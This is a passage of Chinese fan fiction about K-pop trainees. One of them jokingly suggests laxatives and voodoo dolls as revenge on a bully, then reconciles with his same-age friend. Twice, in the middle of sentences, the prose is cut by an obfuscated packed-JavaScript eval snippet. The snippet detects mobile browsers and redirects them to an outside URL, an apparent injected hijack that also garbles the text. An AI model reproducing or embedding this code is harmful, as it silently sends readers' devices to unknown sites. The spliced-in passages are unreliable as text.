《【韩娱】毒临天下》 3. 笨蛋 全薄郁是个有点奇怪的人 这个念头在他一股脑儿吐出自己在公司所有的烦心事后，像一颗小气泡，“啵”地一声，清晰地浮现在他混乱的脑海里 他刚说完最后一个字，喉咙还有些发干，小心翼翼地抬眼去看全薄郁 全薄郁靠在冰冷的墙面上，侧脸对着他 他好像有些热将头发往后梳，露出光洁的额头和紧锁的眉头 从金泰亨开始倾诉起——关于李俊宇变本加厉的刁难、其他练习生若有若无的孤立，全薄郁就维持着这个姿势，一言不发 死寂，只有风声和远处汽车的喧嚣 金泰亨的心一点点沉下去。完了。 他是不是话太多了？抱怨太多了？像个小丑一样惹人厌烦？薄郁哥本来就不是什么有耐心的人，自己怎么敢对着他倒这些垃圾？他一定是觉得烦透了，现在正酝酿着怎么用最刻薄的话让他闭嘴滚蛋吧？就像练习室里怼李俊宇那样…… 恐慌像冰冷的藤蔓缠住了心脏。金泰亨喉咙发紧，几乎是本能地开口，声音带着不易察觉的颤抖“米……米亚内，薄郁哥，我……我话太多了，抱……” 道歉的话还没说完，就被一声石破天惊的怒吼硬生生截断 “我真的是不理解了！！” 全薄郁猛地转向墙面，不是对着金泰亨，而是对着那堵冰冷的水泥墙，仿佛那墙才是他怒火的根源 他像是要爆炸一样，深深地、极其用力地吸了一口气，胸膛剧烈起伏，然后猛地抬手，用五指狠狠抓挠着自己后脑勺的头发，动作狂躁得仿佛要把头皮都抓下来，那平日里打理得还算有型的黑发瞬间变成了一个乱糟糟的鸟窝 金泰亨彻底僵住了，像被施了定身咒 道歉的词句卡在喉咙里，不上不下，噎得他几乎窒息，他惊恐地瞪大了眼睛，看着全薄郁近乎自虐般地抓挠头发，听着他那声比刚才更响亮的咆哮在空旷的走廊炸开，震得他耳膜嗡嗡作响 泪水毫无预兆地涌了上来，迅速模糊了视线 完了，真的完了。 薄郁哥比传说中还要吓人！他果然生气了，而且是暴怒！那练习室里流传的的传言……原来是真的！金泰亨绝望地想，自己可能活不过今晚了 他死死咬住下唇，不敢让呜咽声泄出来，身体控制不住地微微发抖 就在金泰亨以为自己下一秒就要被全薄郁拎起来时，那个暴躁的身影转了过来 全薄郁脸上还带着未消的狂躁，眉头拧成了死结，他几步跨到金泰亨面前，高大的身影瞬间将少年完全笼罩，带着一股强大的压迫感 金泰亨吓得闭紧了眼睛，等待雷霆降临 然而，预想中的刻薄辱骂或者物理打击并没有到来 取而代之的，是全薄郁用一种难以置信、充满了十万个为什么的、近乎天真的愤怒语气吼道 “他们这样对你，你没有想过反击吗？！给他们两下？！” “？？？” 金泰亨猛地睁开泪眼朦胧的眼睛，脸上写满了巨大的问号和茫然的他甚至怀疑自己是不是因为过度惊吓出现了幻听“……啊？” 他发出了一个短促、呆滞的单音节 全薄郁似乎根本没期待他的回答，或者说，金泰亨那副呆若木鸡的样子本身就是一种回答 他像发现了什么新大陆，上下扫视了一遍眼前这个穿着红色羽绒服、眼睛红红鼻头也红红、看起来毫无攻击性的少年，眉头皱得更紧了，眼神里充满了“你这硬件配置怎么打”的嫌弃和不解 “打不过吗？” 他自言自语般得出结论，语气笃定，仿佛这是显而易见的定律 随即，他那双燃烧着“不理解”的眼睛猛地一亮，像是突然想到了绝妙的点子，身体微微前倾，压低了声音“那玩阴的？” 他眼睛飞快地眨了两下“泻药？像他们那种短腿鬼，应该很好接触到水杯吧？趁他们不注意……” 金泰亨的脑子彻底宕机了 泻……泻药？！薄郁哥在教他……下药？！他惊恐地瞪大了眼睛，嘴巴张成了O型，像一条离水的鱼 他几乎是条件反射地用力摇头，双手在胸前疯狂摆动“阿尼！阿尼阿尼阿尼！” 声音都变了调，这太可怕了！这是犯罪啊哥！ 全薄郁看着他激烈的反应，愣了一下，随即恍然大悟般地“哦”了一声，右手握拳砸在左手掌心，发出清脆的响声 “啊，是这样的！” 他像是终于理解了金泰亨的顾虑，一脸“我懂了”的表情“有点太明显了是不是？容易被发现，风险太高” 他摸着下巴，陷入了更“高深”的战术思考 “那玩点更阴的？” 他试探着问，语气带着诱哄“比如说……” 他凑得更近，声音压得更低，温热的气息几乎喷在金泰亨的耳朵上，让少年起了一身鸡皮疙瘩，“做个小人？扎扎来试试？” 金泰亨感觉自己全身的血液都凝固了，小……小人？扎针？ 全薄郁完全沉浸在自己的“奇谋妙计”中，根本没注意到金泰亨已经石化成了雕像 他摸着下巴，眼神飘忽，似乎在认真分析可行“嗯……这个比较隐蔽，操作性强……关键是要找准目标生辰八字，或者搞到点贴身物品，头发啊指甲啊效果最好……” 他顿了顿，忽然很认真地看向金泰亨 “诶，泰亨啊，你是唯心主义还是唯物主义？这个很重要吧” “……” 金泰亨彻底失去了语言能力。 他张着嘴，看着眼前这个一脸严肃跟他探讨“唯心唯物”的全薄郁，感觉自己的世界观正在经历一场史无前例的十级大地震，然后轰然崩塌，碎得连渣都不剩 练习室里那个冷酷毒舌、一个眼神就能让前辈闭嘴的全薄郁呢？那个拽着他手腕、像英雄一样带他离开风暴中心的薄郁哥呢？眼前这个兴致勃勃给他科普“阴人十八式”、从物理攻击一路升级到玄学攻击、甚至还关心他哲学立场的家伙……是谁？！ 闵玧其前辈也不了解他吗？他们不是同龄亲故吗？好奇怪……这个人真的好奇怪！金泰亨混乱的脑子里只剩下这一个念头在疯狂刷屏，他甚至开始怀疑，是不是自己刚才被冷风吹太久，出现了幻觉？或者……薄郁哥其实有双重人格？！ 金泰亨听着这些越来越离谱、越来越具体的“计划”，感觉自己快要晕过去了 他想逃跑，但双腿像灌了铅 他想大喊“哥！清醒一点！”，但喉咙像被堵住 他只能像个木头人一样杵在原地，眼睁睁看着全薄郁在他面前上演一出“如何诅咒他人”的独角戏还有他说自己刚来公司遇到欺负时怎么“回报”他们的事 “全薄郁” 一声冰冷、带着浓浓无奈和疲惫的呵斥，像一盆冰水，从天而降，精准地浇在全薄郁那颗正熊熊燃烧着“阴谋诡计”之火的脑袋上 全薄郁的动作和话语瞬间卡壳他像被按了暂停键 金泰亨如同听到了天籁，猛地转头 只见闵玧其双手插在黑色羽绒服的口袋里，面无表情地站在天台入口的阴影处 他瘦削的身影被月光拉得很长，脸上没什么波澜，但那双总是半眯着的眼睛里，此刻清晰地写着“我就知道会这样”和“这白痴又开始了”的无语 他慢悠悠地踱步过来，脚步声在寂静的走廊格外清晰，他先是扫了一眼石化状态、脸上还挂着泪痕、眼神呆滞的金泰亨，微不可察地叹了口气 然后，他把目光投向还僵在那里的全薄郁，眉头习惯性地蹙起，声音带着一种看穿一切的、毫不留情的嘲讽“又在给你的“亲传弟子”传授你那套“惊世骇俗”的“复仇宝典”了？” 闵玧其走到全薄郁面前，毫不客气地伸手，把他还举在半空、姿势诡异的手按了下去“省省吧，就你那套连自己袜子都找不到的‘阴人’计划？上次是谁说要给声乐老师的水杯里放浓缩柠檬汁‘惩罚’他骂你跑调，结果把自己酸得三天吃不下饭？” “闵玧其！你闭嘴！” 闵玧其完全无视他的怒火，反而转向惊魂未定的金泰亨，语气平淡得像在陈述一个客观事实“别听他瞎扯，这家伙脑子里装的不是脑浆，是各种稀奇古怪、永远不可能成功的整蛊点子，从认识他第一天起就这样” 他顿了顿，补充道，带着点破罐子破摔的意味，“习惯就好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715206|173671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就是……有点奇怪” “有点”两个字，被他咬得格外重 “这次不一样！李俊宇那种垃圾，就该……”他烦躁地抓了抓自己本就乱糟糟的头发，别开脸，低吼了一声“烦死了！” 然后，他猛地转身，大步流星地……走到另一边的栏杆处，背对着他们，只留下一个散发着“我很不爽别惹我”气息的背影 危机似乎暂时解除了？金泰亨大大地松了口气，感觉后背的冷汗都快把羽绒服里面的T恤浸湿了，他感激地看向闵玧其，小声道“谢谢玧其哥……” 闵玧其摆摆手，示意不用谢 他看着全薄郁那个别扭的背影，又看了看惊魂未定、像只受惊小兔子的金泰亨，难得地多说了几句，声音依旧没什么起伏，却带着一种过来人的平静“这家伙就这样，看着又冷又硬，嘴巴毒得像淬了砒霜，其实……” 闵玧其顿了顿，似乎在找一个合适的词“……内核是个幼稚园没毕业的笨蛋。看到不公平的事，或者他在意的人被欺负了，他那点可怜的智商和情商就集体下线，只剩下一些……嗯，匪夷所思的“解决方案”” 他瞥了一眼全薄郁的背影，语气带着点嫌弃，“你当他刚才那些‘泻药’‘扎小人’是在开玩笑？不，他是真的干的出来” 金泰亨：“……” 他再次被震撼了，原来……薄郁哥是认真的？！ 这个认知让金泰亨的心情更加复杂了，害怕褪去，取而代之的是一种更加奇异的感受 这个“奇怪”的薄郁哥，似乎……比那个冷冰冰的练习室传说，更鲜活，也更……难以形容？ “那他……” 金泰亨犹豫着，指了指全薄郁的背影“没事吧？” “死不了。” 闵玧其言简意赅“让他自己对着墙冷静一下，思考一下人生，或者思考一下更“高级”的诅咒方法” 他拍了拍金泰亨的肩膀“冷，回去吧，别跟这傻子学，对着墙吹冷风会变笨的” 后面那句显然是对着全薄郁的背影说的 闵玧其说完，双手插回口袋，慢悠悠地转身离开了天台，深藏功与名 又只剩下金泰亨和那个散发着低气压的背影 他踌躇了一下，最终还是鼓起勇气，慢慢挪了过去，停在离全薄郁两步远的地方 “薄郁哥……” 他小声地叫了一声 全薄郁没回头，也没应声 金泰亨看着他那头被自己抓得乱糟糟的头发，在夜风中显得有点可怜兮兮 他深吸一口气，把刚才闵玧其的话在脑子里过了一遍，小心翼翼地开口“哥……谢谢你” 金泰亨继续小声说，声音有点飘忽“谢谢你……想帮我，虽然……” 他卡壳了一下，实在无法违心地说出“泻药”和“扎小人”是好主意“……虽然方法有点……嗯……特别，但是……我知道哥是关心我” 他顿了顿，声音更轻“真的……谢谢你，薄郁哥” 他说完，感觉脸有点发烫，紧张地等待着，他不知道这个“奇怪”的哥哥会有什么反应，是继续对着墙生气，还是突然又冒出什么惊人之语 过了好几秒，就在金泰亨以为他不会回应的时候，全薄郁终于动了 他慢慢地转过身，灯光照亮了他的脸，之前的狂躁和羞愤似乎褪去了不少，但眉头还是习惯性地蹙着，嘴角也微微下撇，一副“老子很不爽”的表情 他瞥了金泰亨一眼，目光飞快地掠过少年身上那件鲜红的羽绒服，然后迅速移开 他开口了，声音有点闷，带着点别扭“谁关心你了” 他嘟囔了一句，声音不大，但在寂静的夜里足够清晰“……我只是，不、理、解！” 他又强调了一遍那三个字，仿佛那是他一切行为的根源 随即，他像是为了掩饰什么，恶声恶气地补充道“冷死了！还不回去？真想在这吹风变笨蛋吗？走了！” 他说完，也不等金泰亨反应，双手插进裤兜，迈开长腿，头也不回地朝着里走去，脚步依旧很快，带着点落荒而逃的意味 他嘴角不自觉地向上弯起一个小小的弧度，然后赶紧小跑着追了上去 “哥！等等我！” “我不需要有人陪我上厕所” 4. 规则 全薄郁回到练习室时，空气里还飘着未散的尴尬 李俊宇不知躲到哪里去了，其他练习生三三两两聚在一起练习，目光却时不时往门口瞟，他冷着脸走进来，径直走向角落的饮水机，接水的动作比平时重了几分 “咔嚓” 塑料杯在他手里发出不堪重负的声响 金泰亨正跟着郑号锡学动作，看见他回来眼睛一亮，刚想打招呼就被郑号锡一个转身动作挡了回去“先别去”郑号锡压低声音“薄郁哥现在看起来像颗定时炸弹” 确实如此 全薄郁灌下一整杯水，喉结狠狠滚动几下，把空杯子捏扁扔进垃圾桶，几个练习生不约而同缩了缩脖子 他走向惯常练习的位置，路过镜子时瞥见自己乱糟糟的头发——都是刚才抓的，这让他又想起闵玧其那张写满“你又犯病”的脸，胸口那股无名火烧得更旺了 “闵玧其...”他咬牙切齿地对着墙面挥了一拳，指关节发出闷响，墙当然不会痛，痛的是他的手，但这点疼痛反而让郁结的情绪有了发泄口 他撤回那句话 撤回“闵玧其是我亲故”这个该死的定义 笑死 谁要跟那个总是一脸"我早就看透你"的家伙当亲故？ 练习室的音乐声、脚步声、计数声都成了模糊的背景音 全薄郁对着墙练习基础动作，每个转身都带着狠劲，仿佛那面墙是某个惹他生气的人，汗水很快浸湿了T恤后背，但他没停，反而越练越凶，像是在用身体记忆覆盖脑内循环播放的尴尬场景 “93line的，休息十分钟”舞蹈老师拍了拍手 全薄郁充耳不闻，继续对着墙完成一组高难度wave，直到一只手突然搭上他肩膀 “聋了？” 是闵玧其。 全薄郁不用回头都知道，那声音永远像熬了三个通宵般疲惫，他猛地甩开那只手，转身时差点撞到对方鼻子 “别碰我”他压低声音警告“我撤回” 闵玧其挑眉“撤回什么？” “亲故”全薄郁从牙缝里挤出这两个字“你不是了” 出乎意料，闵玧其居然笑了 不是礼貌性的微笑，而是真的被逗乐的那种笑，眼睛眯成两条缝，牙龈都露出来了“呀”他擦了擦并不存在的眼泪“这是第几次了？上周三你撤回我亲故资格是因为我喝了你冰箱里的草莓牛奶，上周五是因为我说你rap像念经，昨天是因为...” “闭嘴！”全薄郁耳朵红了“这次是认真的！” 闵玧其耸耸肩，从兜里掏出一盒香蕉牛奶，精准地扔进全薄郁怀里“行吧，“前亲故””他故意加重这个称呼“但补充能量还是要的，除非你想晕倒在月末评价现场” 全薄郁瞪着怀里的牛奶，包装上还带着便利店冰柜的凉气，他应该硬气地扔回去，但该死的，他确实饿了，最终他恶狠狠地插上吸管，像对待仇人一样咬住吸管猛吸一口 闵玧其满意地点点头，转身要走 练习室另一端，金南俊和金硕真全程围观了这场互动 “他们又吵架了？”金硕真忧心忡忡地问 金南俊推了推眼镜“不，这是他们表达“我们好得很”的方式” 他和闵玧其的关系确实很奇怪，从第一天起就奇怪 记忆闪回三个月前，他刚来公司的第一天 “全薄郁，93年4月生”他对着练习生们简单自我介绍，刚从加拿大回来，韩语还带着点奇怪的腔调 人群里立刻有人小声惊呼“啊！和玧其同岁！” 紧接着就是一连串问题轰炸“同岁的话应该很亲近吧？”“玧其哥在声乐室，要帮你叫他吗？” 全薄郁一脸茫然。什么情况？他只是报了个出生年份，怎么突然所有人都把他和某个素未谋面的“玧其”绑定了？ “哈？”他忍不住问“我只能和他玩吗？” “不是啊”一个练习生解释道“还有其他93年生的，但你和他一个宿舍，应该更亲近吧？” “哈？我？”全薄郁更困惑了 他从小在温哥华长大，对韩国这种严格的年龄等级制度完全无法理解，在加拿大，交朋友看的是共同爱好，不是出生年份，而且什么叫“应该”亲近？人际关系是可以这样公式化计算的吗？ 当天晚上他见到了传说中的“闵玧其”那是个比他矮半个头的少年，皮肤白得近乎透明，眼睛总是半眯着，像永远睡不醒，他们被安排在同一个宿舍，两张床之间只隔着一米宽的过道 “听说我们是“亲故”？”闵玧其开口第一句话就让他炸毛“别紧张，我也觉得这套很蠢。” 全薄郁松了口气，看来这个韩国人还算正常，结果下一秒闵玧其就递给他一盒草莓牛奶“不过既然被迫绑定，喝吧，同岁亲故的见面礼” 那是他们关系的开始，也是全薄郁第一次见识到闵玧其的矛盾之处，表面嫌弃这套制度，行动上却又微妙地遵循着 接下来的日子更诡异，每次公司有分组活动，老师都会自然而然地把他们分在一起；吃饭时其他练习生会特意留出相邻的座位；甚至他感冒时，老师第一反应是“让闵玧其来照顾你” 最离谱的是上周的舞蹈课，老师让两人一组练习双人舞，全薄郁刚想去找金硕真，就听见老师说“93line一组，94line一组，按年龄来”然后闵玧其就被推到了他面前 “真是够了”全薄郁当时就抗议“这是舞蹈课不是相亲课” 老师一脸莫名其妙“什么相亲？同岁亲故一起练习不是很正常吗？” 全薄郁被这种逻辑绕晕了。 闵玧其倒是很淡定，已经摆好了准备姿势“省省吧，你越反抗他们越来劲”他压低声音“快点练完就能解脱了” “薄郁哥？” 回忆被金泰亨的声音打断，全薄郁回过神来，发现那孩子不知何时站在了他面前，手里捧着杯热可可 “给你”金泰亨小心翼翼地把杯子递过来“玧其哥让我拿给你的，他说...呃...”少年明显在斟酌用词“他说给那个对着墙生闷气的幼稚鬼，喝了暖和点，别冻坏他珍贵的脑细胞” 全薄郁额角青筋直跳。闵玧其这个...！他接过杯子，温度刚好，不烫手但足够温暖他有些发凉的指尖 杯壁上贴着便利贴，上面画了个简笔笑脸，旁边写着撤回无效 “他是不是有病？”全薄郁问金泰亨“他是不是觉得这样很幽默？” 金泰亨眨眨眼“我觉得玧其哥很关心你啊” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715207|173671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看向门口，闵玧其正在和金南俊讨论什么，手里拿着本子写写画画，看起来专注极了，完全不像刚刚溜出去买过饮料的样子，似乎察觉到他的视线，闵玧其突然抬头，对他做了个“喝掉”的口型，然后又低头继续讨论 全薄郁鬼使神差地抿了一口，热可可甜度刚好，带着微微的苦味，是他喜欢的口味，但他很确定自己从来没告诉过闵玧其这个偏好 “奇怪的人...”他嘟囔着，却又喝了一大口 金泰亨好奇地问“薄郁哥，你和玧其哥是怎么成为亲故的啊？” “我们不是...”全薄郁下意识要否认，又想起便利贴上的撤回无效，烦躁地抓了抓头发“算了，说来话长” “说说嘛”金泰亨眼睛亮晶晶的“我很好奇！” 全薄郁叹了口气，也许说出来能理清自己的困惑？ “我刚来韩国时”他慢慢开口“完全不懂这里的亲故文化，在加拿大，交朋友看的是合不合得来，不是出生年份，但这里所有人都觉得，只因为我和闵玧其同年出生，就“应该”成为最好的朋友” 金泰亨点点头“韩国是这样的...” “更荒谬的是”全薄郁继续道“闵玧其这家伙，表面上跟我一样嫌弃这套制度，实际上却是个彻头彻尾的“共犯”他会记得我讨厌吃胡萝卜，却在我生日时送胡萝卜蛋糕，我感冒时他一边骂我活该一边半夜去买药；我们明明性格南辕北辙——他冷静我冲动，他理性我感性，但所有人，包括老师，都觉得我们“应该”合拍” 金泰亨若有所思“所以你们其实不合？” 全薄郁愣住了，不合吗？好像不是，他们吵架的频率是高得离谱，但每次吵完总有一方会先低头，用某种奇怪的方式和解，就像今天的牛奶和热可可 “问题就在这儿”他挫败地说“我们居然真的合拍，舞蹈配合默契，音乐品味相似，连吐槽老师的点都一模一样，这太可怕了，就好像...好像...” “好像命中注定？”金泰亨天真地接话 全薄郁做了个呕吐的表情“恶心。撤回这个词” 金泰亨笑了“薄郁哥，我觉得你和玧其哥的关系很酷啊，不像被制度绑定的，更像是...嗯...”他努力寻找词汇“像是你们自己选择了彼此，只是刚好符合了制度而已” 全薄郁怔住了，这个角度他从来没想过，他一直把他们的关系视为文化差异下的被迫绑定，但仔细想想，公司里还有其他93年生的练习生，为什么只有闵玧其和他走得最近？ “休息结束！”老师的喊声打断了他们的谈话 全薄郁把空杯子扔进垃圾桶，走向自己的位置，经过闵玧其时，对方头也不抬地伸脚绊了他一下，全薄郁灵活地跳过去，反手在闵玧其后脑勺上拍了一记 “幼稚”闵玧其说 “反弹”全薄郁回敬 全薄郁透过镜子看着专心练习的闵玧其，突然觉得，也许奇怪的不是他们的关系，而是他非要否认这份关系的固执 “算了”他对着镜子里的闵玧其无声地说“暂时不撤回了” 镜子里的闵玧其似乎勾了勾嘴角，像是听到了他的心声 全薄郁吓了一跳，赶紧移开视线 这家伙果然很可怕。